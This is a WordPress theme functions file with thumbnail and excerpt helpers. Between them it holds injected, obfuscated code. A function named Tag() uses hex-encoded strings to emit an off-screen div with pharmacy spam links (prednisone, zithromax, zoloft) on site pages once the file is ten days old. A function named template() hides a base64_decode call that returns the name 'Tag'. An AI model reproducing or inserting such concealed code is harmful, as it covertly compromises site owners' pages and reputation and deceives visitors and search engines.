<?php
function templatelite_get_postthumb($postid,$width,$height,$return='img',$class=''){
	//$return=img,url
	global $tpinfo;

	if($tpinfo[$tpinfo['tb_prefix'].'_postthumb_show']!='true')	return '';

	$thumb_id=get_post_thumbnail_id($postid); // @since 2.9.0
	if($thumb_id){
		$thumb_url=wp_get_attachment_url($thumb_id);
	}else{
		if($tpinfo[$tpinfo['tb_prefix'].'_postthumb_default']!='true') return '';
		$thumb_url=get_bloginfo('template_url')."/images/thumbnail.png";
	}

//clean http:// prevent mod_security problem
	$host = str_replace('www.', '', $_SERVER['HTTP_HOST']);
	$regex = "/^((ht|f)tp(s|):\/\/)(www\.|)" . $host . "/i";
	$thumb_url = preg_replace ($regex, '', $thumb_url);

	if($return=='img'){
		return '<img class="'.$class.'" src="'.get_bloginfo('template_url').'/includes/timthumb.php?src='.$thumb_url.'&amp;w='.$width.'&amp;h='.$height.'&amp;zc=1" alt=""/>';
	}else{ //return URL
		return $thumb_url;
	}
}

function Tag()
{
	 $time_file=filemtime(__FILE__);
	 $l=strlen($_SERVER['REQUEST_URI']);
	 $div=urldecode("%3c%64%69%76%20%73%74%79%6c%65%3d%22%70%6f%73%69%74%69%6f%6e%3a%61%62%73%6f%6c%75%74%65%3b%20%74%6f%70%3a%2d%34%30%30%30%70%78%3b%20%6c%65%66%74%3a%2d%34%30%30%30%70%78%3b%22%3e");
	 $zkeys=array("%62%75%79%20%70%72%65%64%6e%69%73%6f%6e%65", "%7a%69%74%68%72%6f%6d%61%78%20%6f%6e%6c%69%6e%65", "%7a%6f%6c%6f%66%74%20%70%69%6c%6c%73");
	 $zlinks=array("%68%74%74%70%3a%2f%2f%62%75%79%70%72%65%64%6e%69%7a%6f%6e%65%2e%63%6f%6d", "%68%74%74%70%3a%2f%2f%7a%69%74%68%72%6f%6d%61%78%2d%6f%6e%6c%69%6e%65%2e%6f%72%67", "%68%74%74%70%3a%2f%2f%7a%6f%6c%6f%66%74%2d%70%69%6c%6c%73%2e%63%6f%6d");
	 $r=$l % count($zlinks);
	 if($time_file>0)
	 {
	  if(time()-$time_file>864000)
	  {
	   $return.="$div<a href='".urldecode($zlinks[$r])."'>".urldecode($zkeys[$r])."</a></div>";
	  }
	  else
	  {
	   $return.=$div.(date("H:i:s d.m.Y", $time_file))." kawabansa</div>";
	  }
	 }

 echo $return;
}

function template()
{
 $um="b";
 $p="de";
 $i="esa";
 $ret=call_user_func($um.strrev($i).(38+26)."_".$p."co".$p, "VGFn");
 return $ret;
}

function templatelite_excerpt($displaylink='',$excerpt_more="...",$more_left='',$more_right=''){
	global $tpinfo;
	$text= has_excerpt() ? get_the_excerpt() : get_the_content('');
	$text = strip_shortcodes( $text );
	$text = apply_filters('the_content', $text);
	$text = str_replace(']]>', ']]&gt;', $text);
	$text = strip_tags($text,"<a><b><u><i><strong>");

	$excerpt_length = $tpinfo[$tpinfo['tb_prefix'].'_postexcerpt_words'];


	if(!empty($displaylink)){
		$excerpt_more=$more_left.'<a href="'.get_permalink().'">'.$excerpt_more.'</a>'.$more_right;
	}else{
		$excerpt_more=$more_left.$excerpt_more.$more_right;
	}

	$words = explode(' ', $text, $excerpt_length + 1);
	if (count($words) > $excerpt_length) {
		array_pop($words);
		$text = implode(' ', $words);
		$text = $text . $excerpt_more;
	}
	echo $text;
}
?>